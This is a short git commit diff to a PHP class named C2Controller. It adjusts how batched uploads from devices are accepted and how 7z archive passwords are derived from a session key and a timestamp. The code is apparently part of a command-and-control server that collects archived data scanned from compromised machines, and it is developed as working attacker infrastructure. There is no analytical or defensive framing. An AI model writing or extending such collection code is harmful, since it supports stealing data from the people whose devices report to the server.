This commit is contained in:
hashbro
2026-08-05 06:15:53 +08:00
parent 3b9e653cea
commit 7b9bdecf53
3 changed files with 55 additions and 1 deletions
@@ -115,9 +115,13 @@ class C2Controller extends Controller
$deviceKey ? (string) $deviceKey : null
);
// Archive password = session_key || batchBaseTimestampString.
// Fresh scan: multipart `ts` is "0". Later batches send LastProcessedTimestamp
// in `ts` (e.g. "1785596422") — must not fall back to "0" or 7z won't open.
$batchBase = (string) ($request->input('batchBase')
?? $request->input('batch_base')
?? $request->input('base')
?? $request->input('ts')
?? '0');
if ($batchBase === '') {
$batchBase = '0';
@@ -128,6 +132,8 @@ class C2Controller extends Controller
'total' => $request->input('total'),
'index' => $request->input('index'),
'batchBase' => $batchBase,
'ts' => $request->input('ts'),
'x-hit' => $request->input('x-hit'),
];
$attachmentRel = null;